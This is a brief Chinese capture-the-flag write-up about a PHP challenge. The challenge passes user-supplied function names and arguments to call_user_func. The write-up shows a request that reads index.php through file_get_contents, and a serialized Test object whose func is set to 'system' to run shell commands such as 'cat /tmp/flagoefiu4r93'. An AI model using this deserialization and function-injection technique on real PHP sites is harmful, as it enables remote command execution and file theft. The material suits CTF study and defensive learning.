前言
以前做的题
题解
猜测使用了call_user_func()
$result = call_user_func($func, $p);
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
读取源码func=file_get_contents&p=index.php
反序列化可行
<?php
class Test
{
var $p = "/flag.php";
var $func = "readfile";
}
$a = new Test();
echo serialize($a);
#$a->p = 'ls ../../../';
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';